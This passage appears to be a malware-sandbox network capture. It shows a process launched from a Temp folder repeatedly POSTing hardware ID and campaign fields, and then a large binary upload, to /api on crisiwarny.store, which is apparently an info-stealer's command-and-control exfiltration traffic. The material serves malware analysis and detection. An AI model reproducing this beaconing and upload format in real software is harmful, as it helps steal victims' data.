2024-10-26 06:54:06 UTC	1369	IN	Data Raw: 2f 37 33 42 2b 43 36 51 51 58 4f 49 65 42 4d 6f 2f 46 78 74 73 70 6d 39 37 6d 79 65 32 51 47 2b 41 75 76 56 78 47 57 71 72 53 43 39 32 70 6d 79 4a 73 41 65 58 63 63 78 57 6e 50 72 43 6a 6a 78 30 4c 33 56 4d 35 36 5a 45 62 51 5a 69 34 57 64 4f 2f 2b 6b 66 2b 6d 39 6d 66 68 35 67 6c 63 4b 32 6a 46 4d 63 36 70 4a 63 72 43 59 2f 73 63 68 6d 66 39 2f 77 56 6a 54 30 4e 31 36 6b 34 55 32 36 76 43 4a 72 7a 43 63 44 45 6e 47 66 78 4d 6c 72 51 51 67 72 64 36 6c 36 47 4b 57 67 58 36 6f 41 73 61 57 6b 69 75 59 75 44 2f 2b 2b 70 6d 70 62 50 63 44 52 38 35 6d 42 58 4f 6a 43 6d 62 69 78 71 32 66 59 74 72 51 41 62 34 53 6a 49 32 66 4f 50 72 72 59 2b 2b 7a 6c 76 67 33 6b 45 45 59 68 6a 45 47 63 37 55 4b 4a 36 47 4d 37 39 63 68 79 4d 49 47 32 48 7a 77 30 63 78 75 71 71 74 Data Ascii: /73B+C6QQXOIeBMo/Fxtspm97mye2QG+AuvVxGWqrSC92pmyJsAeXccxWnPrCjjx0L3VM56ZEbQZi4WdO/+kf+m9mfh5glcK2jFMc6pJcrCY/schmf9/wVjT0N16k4U26vCJrzCcDEnGfxMlrQQgrd6l6GKWgX6oAsaWkiuYuD/++pmpbPcDR85mBXOjCmbixq2fYtrQAb4SjI2fOPrrY++zlvg3kEEYhjEGc7UKJ6GM79chyMIG2Hzw0cxuqqt
2024-10-26 06:54:06 UTC	1369	IN	Data Raw: 76 55 47 33 68 35 4c 33 6d 45 44 50 4b 30 45 49 4b 54 65 70 59 4e 73 6e 73 56 51 70 68 71 4f 68 4a 45 2b 2f 75 78 68 6f 75 4c 42 6f 57 48 47 57 52 4b 61 50 31 51 68 72 52 49 67 35 5a 33 76 77 79 54 64 31 30 4b 68 66 4f 44 78 78 47 79 73 72 53 48 6e 38 73 43 57 46 2f 45 6e 64 4e 31 79 47 6a 33 71 58 48 48 69 30 4c 33 65 59 6f 62 34 41 61 34 43 34 5a 69 4b 63 2b 33 6a 63 63 58 2b 67 62 59 6d 78 67 67 48 37 33 38 54 4d 76 74 61 64 36 33 52 30 2b 63 44 6e 6f 38 42 34 41 4b 47 68 49 51 72 71 61 70 78 71 4b 33 64 34 33 53 44 54 68 71 61 62 6c 6f 71 72 56 77 67 2b 73 79 7a 6b 54 43 65 6d 51 47 68 51 63 7a 45 7a 47 69 37 75 48 62 4f 77 36 69 32 4a 74 45 50 57 73 56 39 4e 54 44 38 51 46 36 63 69 2f 37 66 4c 4e 6e 58 55 4b 59 4d 6e 74 6d 4b 4d 35 54 37 65 62 44 43 Data Ascii: vUG3h5L3mEDPK0EIKTepYNsnsVQphqOhJE+/uxhouLBoWHGWRKaP1QhrRIg5Z3vwyTd10KhfODxxGysrSHn8sCWF/EndN1yGj3qXHHi0L3eYob4Aa4C4ZiKc+3jccX+gbYmxggH738TMvtad63R0+cDno8B4AKGhIQrqapxqK3d43SDThqabloqrVwg+syzkTCemQGhQczEzGi7uHbOw6i2JtEPWsV9NTD8QF6ci/7fLNnXUKYMntmKM5T7ebDC
2024-10-26 06:54:06 UTC	1369	IN	Data Raw: 30 4c 54 64 68 79 56 68 2f 71 52 32 79 63 6f 4d 72 41 4a 63 36 44 5a 2b 56 55 33 5a 61 45 4b 37 58 37 61 62 44 51 6e 62 38 78 30 31 74 6d 7a 33 77 59 63 2f 49 45 65 65 4b 49 76 59 6c 78 6b 49 46 54 70 68 71 65 6b 63 6c 35 76 37 30 79 35 76 37 49 68 68 2f 39 43 30 33 59 63 6c 59 43 34 45 35 32 74 35 33 74 31 68 7a 67 37 46 50 68 55 74 32 55 37 31 48 76 69 69 66 7a 2f 59 47 2f 59 5a 35 5a 55 6f 67 70 56 42 37 2f 54 58 43 68 33 4e 6a 72 59 4f 2f 58 51 75 5a 4d 32 5a 62 56 4a 62 54 37 4a 37 43 6c 33 50 5a 68 77 6c 6b 53 69 44 59 61 50 75 78 4a 62 71 47 4d 37 39 63 68 79 4d 49 47 32 48 7a 78 33 63 74 37 6f 4b 6f 38 39 4f 75 78 68 67 62 57 48 45 33 32 54 79 4d 69 36 6c 6f 69 68 4a 33 72 30 6d 4b 51 67 56 6d 6d 47 70 37 78 7a 47 36 71 2b 33 2b 77 2b 63 2f 67 59 Data Ascii: 0LTdhyVh/qR2ycoMrAJc6DZ+VU3ZaEK7X7abDQnb8x01tmz3wYc/IEeeKIvYlxkIFTphqekcl5v70y5v7Ihh/9C03YclYC4E52t53t1hzg7FPhUt2U71Hviifz/YG/YZ5ZUogpVB7/TXCh3NjrYO/XQuZM2ZbVJbT7J7Cl3PZhwlkSiDYaPuxJbqGM79chyMIG2Hzx3ct7oKo89OuxhgbWHE32TyMi6loihJ3r0mKQgVmmGp7xzG6q+3+w+c/gY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49986	172.67.170.64	443	2332	C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:54:08 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: crisiwarny.store
2024-10-26 06:54:08 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 32 45 30 42 44 33 30 41 42 46 41 44 41 31 35 37 39 31 41 45 37 38 35 32 34 42 44 30 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"712E0BD30ABFADA15791AE78524BD06B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 06:54:08 UTC	1007	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:54:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hbgjghtftef7k1jou7i3ismlcb; expires=Wed, 19 Feb 2025 00:40:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UzTWitEYQq4tRmYnlQiWBjWYZ1IeSpNPzxigHedcf6gkKoeVDlZzCVTeSgurcdfaPa1n6uH0ntWTPY4MNBeeOUaGaPFXps7Oy%2F%2F5MPwNYmzkVQF8VsbXhPqfEMTa53Ljb6RB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d888886dca1d596-AMS alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=122869&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2838&recv_bytes=13789&delivery_rate=23563&cwnd=32&unsent_bytes=0&cid=93e2c2dbb26fd4db&ts=575&x=0"
2024-10-26 06:54:08 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 06:54:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49987	172.67.170.64	443	2332	C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:54:09 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: crisiwarny.store
2024-10-26 06:54:09 UTC	15081	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 32 45 30 42 44 33 30 41 42 46 41 44 41 31 35 37 39 31 41 45 37 38 35 32 34 42 44 30 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"712E0BD30ABFADA15791AE78524BD06B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 06:54:10 UTC	1011	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:54:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nal168h032lhtjjotm191ptjmb; expires=Wed, 19 Feb 2025 00:40:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yzi0RBqydNC2P9KzDsQVkaW4q55nchj6UprLs%2Bb9EupV%2BM09cmnloSXawGHPA9PWSYpDPbqsLs93nkkfm6JPrtNznQ%2F793Vrsw1hcWPhgSKR%2FZXdkl3IIOGAqTN1bT8BIo4V"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d888890aa513d0a-CDG alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=117172&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2838&recv_bytes=16021&delivery_rate=24711&cwnd=32&unsent_bytes=0&cid=616d1df814928bc0&ts=578&x=0"
2024-10-26 06:54:10 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 06:54:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49988	172.67.170.64	443	2332	C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:54:12 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20406 Host: crisiwarny.store
2024-10-26 06:54:12 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 32 45 30 42 44 33 30 41 42 46 41 44 41 31 35 37 39 31 41 45 37 38 35 32 34 42 44 30 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"712E0BD30ABFADA15791AE78524BD06B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 06:54:12 UTC	5075	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d Data Ascii: (X6K~`iO\_,mi`m?ls}Qm
2024-10-26 06:54:13 UTC	1006	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:54:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fvg6rn4vbcun14do0aeqclscbb; expires=Wed, 19 Feb 2025 00:40:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xxV2Q2AnVQ9RQjPZVw9AeNVNMXJyVOnkiRZN3Ud5AJOhbCb7yXFM6d7z9z3TP9AxlKKGQaHbkKtLaL3B7Z2bVLRBjFJ%2BuJRaAq0ON5wR83qMUgQp49YOn4W46kpFhvyj6Ktp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8888a0bf71b7f8-AMS alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=123021&sent=10&recv=21&lost=0&retrans=0&sent_bytes=2839&recv_bytes=21368&delivery_rate=23541&cwnd=32&unsent_bytes=0&cid=76a832bce90ec8c8&ts=719&x=0"
2024-10-26 06:54:13 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 06:54:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49990	172.67.170.64	443	2332	C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:54:15 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1247 Host: crisiwarny.store
2024-10-26 06:54:15 UTC	1247	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 32 45 30 42 44 33 30 41 42 46 41 44 41 31 35 37 39 31 41 45 37 38 35 32 34 42 44 30 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"712E0BD30ABFADA15791AE78524BD06B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 06:54:15 UTC	1009	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:54:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4k77c387qtpntnd3oh71p5d4nd; expires=Wed, 19 Feb 2025 00:40:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WyJD8yA3sZzfEYocIugiKS4OSlHsc03rSIheYRu0df8XKOHvjlXIZVcIXpq6NWbTRMmntHkbqNi3D%2BmP6uaCN%2BkZrty5%2F6zUpBOVwpg1WVbZ0p3epLLPxXCCI%2BaWzXWBKuPb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8888b0e9846514-LHR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=104233&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2838&recv_bytes=2164&delivery_rate=27779&cwnd=32&unsent_bytes=0&cid=fedd6c4ce7a66d05&ts=443&x=0"
2024-10-26 06:54:15 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 06:54:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49993	172.67.170.64	443	2332	C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:54:17 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 569265 Host: crisiwarny.store
2024-10-26 06:54:17 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 32 45 30 42 44 33 30 41 42 46 41 44 41 31 35 37 39 31 41 45 37 38 35 32 34 42 44 30 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"712E0BD30ABFADA15791AE78524BD06B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 06:54:17 UTC	15331	OUT	Data Raw: d3 f0 4f cd 5d b7 ac 25 11 54 19 21 dd 1e 7a a2 b0 44 e8 0c 3f 23 95 87 4f 08 f4 c8 bf 6a c7 85 f3 16 26 6c 3e 18 37 8e c6 ed cf 8c dc 6e 13 59 63 7e 5e 41 2e 44 ef c4 37 74 1c 56 26 47 46 56 60 dd 3b 64 c8 92 f7 97 7c fb 06 f5 91 e0 2c d2 dd 8c 60 25 8d ac 75 45 92 2a f7 7b 6d 9e a7 d4 85 38 00 d8 0b aa c5 88 64 7c 86 28 d1 a2 2b 07 a2 21 69 a1 3b 54 2d cc 8a 49 c7 51 65 da 28 a8 1b 8c f5 c5 f0 a0 52 94 ed 0d 71 0f f5 fe 15 cc b8 85 ec dc 31 27 5c ae ce 2c 19 88 2d d5 e8 d6 aa 32 01 e4 aa 7a 36 f3 c3 30 aa e6 4f 82 c5 4f 83 10 a7 fd 98 50 6d cc 32 f3 e1 65 8e 7d 80 e8 ab 59 d3 4f a8 cd bd 28 52 2b 3c 1c ca 48 7b 33 76 d3 0d d0 2a 0a d4 6f 7a 0f 3a b9 dc fc 99 62 56 f5 ce 42 a4 67 7c 4c d2 32 37 6d ef c2 f5 9e f7 3e d6 3d c5 bd aa 39 8a ec cc 7b 3d a9 cf Data Ascii: O]%T!zD?#Oj&l>7nYc~^A.D7tV&GFV`;d\|,`%uE{m8d\|(+!i;T-IQe(Rq1'\,-2z60OOPm2e}YO(R+<H{3voz:bVBg\|L27m>=9{=
2024-10-26 06:54:17 UTC	15331	OUT	Data Raw: 24 f4 b7 ef eb b9 10 89 c6 5b de ae 6b e4 f2 a8 19 27 7b 87 7b bb 1e f1 81 f8 5e f7 29 95 a0 f8 f4 50 59 07 a4 c0 a8 f2 e8 57 76 72 85 16 22 3c 66 e4 53 ab cd 2d 0b 5d 04 a6 e5 49 b5 72 3a e9 08 0d 58 f3 6f d7 e3 a8 08 ed 44 65 eb ca 6d 76 b4 2a af 96 57 68 2a 1e c1 c9 69 df 5e 9f bc 96 40 b8 3a 56 b0 5c 1f cc ac 96 df 25 17 45 85 e9 a5 38 ad 27 5d 21 95 a3 e7 44 9b 9c f5 0d 63 4e bc 88 ef 0c 76 94 6d 8d 96 b6 e7 51 e1 dc 15 04 c2 73 75 b6 65 ed 97 ab 43 8a 5e fb ec 29 8e 78 f7 59 cf e4 d7 6c 5a 6c 7d b5 65 fd 37 c2 1e ef 07 b9 6f 00 bf bd 4f 75 5e 49 b6 de 71 da 5b 4c ae e1 bf 4f 5c 1f 3e 91 9d 32 c1 4b 5c 0a 52 df 64 56 0d ef 07 f6 5c cc 9f 6c 36 39 bb a6 d4 4d bb 20 8f a0 5c 06 19 61 d4 17 bc b5 6a 10 69 36 dd 35 b0 5d 77 6d ea 1d 27 93 0b ac 38 f3 d1 Data Ascii: $[k'{{^)PYWvr"<fS-]Ir:XoDemvWhi^@:V\%E8']!DcNvmQsueC^)xYlZl}e7oOu^Iq[LO\>2K\RdV\l69M \aji65]wm'8
2024-10-26 06:54:17 UTC	15331	OUT	Data Raw: f8 36 af 00 3c 49 68 de 73 84 9d 78 35 81 94 e5 ca 13 eb cb 23 c2 3f 79 8a 68 30 6c a1 5c 39 c9 8e cc b2 c5 2f b1 af 44 f0 e1 b7 fb 48 89 29 57 f9 c9 13 ec e1 83 9f 68 11 86 30 b1 71 ab 46 8f ef 48 c0 08 3f a9 9a f8 30 1a 7e b5 4b 95 ef 8c 61 75 a9 52 bd a3 30 e6 75 70 12 e1 ec 85 11 f1 d6 7f f0 be e0 10 57 a3 93 6f ba 1e c4 7f 5b 97 32 d9 89 70 e0 47 a1 e3 bd 44 2c 1c e4 3e 86 de 95 5d bd 2e b5 5c f3 b3 14 e2 59 71 cb 7a 7c 90 5c 6d 68 cb ae 62 21 45 dc a6 ce cf 32 d9 b5 df 53 0c d4 bf c7 0f f4 85 f0 ce e8 0e 0b e5 9e 19 db 98 d8 24 a6 ae 9b e3 1b 42 57 9f f2 5a 0a 37 1d 12 cd d9 99 f1 6a 7f e2 d4 e4 2f e5 82 23 e1 dc b0 1c ed 85 6d 62 f3 7e 43 d5 7d d2 77 7e 6c e5 6b a2 e2 9e f3 30 ce 82 b4 a2 cd 7d c5 71 7d bb 5f 9f 5b ab 37 2a b2 ac 45 99 f8 42 d5 3b Data Ascii: 6<Ihsx5#?yh0l\9/DH)Wh0qFH?0~KauR0upWo[2pGD,>].\Yqz\|\mhb!E2S$BWZ7j/#mb~C}w~lk0}q}_[7*EB;
2024-10-26 06:54:17 UTC	15331	OUT	Data Raw: 97 15 94 09 a8 fb 1a 4a 6c 99 ac 61 53 7f 76 6e 62 eb 26 d7 bc d8 62 e1 4d fe a2 68 c5 62 44 15 61 e3 8c c5 53 7e b0 7f 4b e6 d6 45 78 a5 dc 16 f9 77 09 08 ce 31 df a7 7e fe 72 41 84 c1 75 01 9a fa 47 ab 37 a7 b1 7b e4 4b 68 31 b7 c0 f3 67 86 cf 40 71 95 cd 3b ae 26 b3 df ea 27 0c b5 83 06 53 98 01 03 11 15 dd 9f 45 25 7d fd 50 0f ae 7f 10 aa d6 ea b8 e9 bc 8b 3e d2 b7 07 6d b2 2c b1 c4 69 5f 53 ce 56 8c e7 72 32 26 24 58 bf b2 d5 18 dd 88 9c 56 25 99 45 78 a9 a8 66 3d 2f ea 8e 73 f5 6b 4a 23 4a c4 d0 c4 e1 8c ef 89 f7 1d 11 26 8c 99 7c 1a 2f b8 14 68 16 e9 7e 2f 99 66 b0 d5 38 b2 d9 8a 69 4c c9 6b a2 75 9c 39 03 ff de cb 03 f4 43 3f 10 69 e1 01 4b 7b e1 e0 3d 4c eb b1 9c f4 d4 a2 f6 9c 41 6b 03 e1 b3 fd 17 d8 61 a5 ea 42 18 9e 8d c3 d2 d3 73 b4 e4 4d 7e Data Ascii: JlaSvnb&bMhbDaS~KExw1~rAuG7{Kh1g@q;&'SE%}P>m,i_SVr2&$XV%Exf=/skJ#J&\|/h~/f8iLku9C?iK{=LAkaBsM~
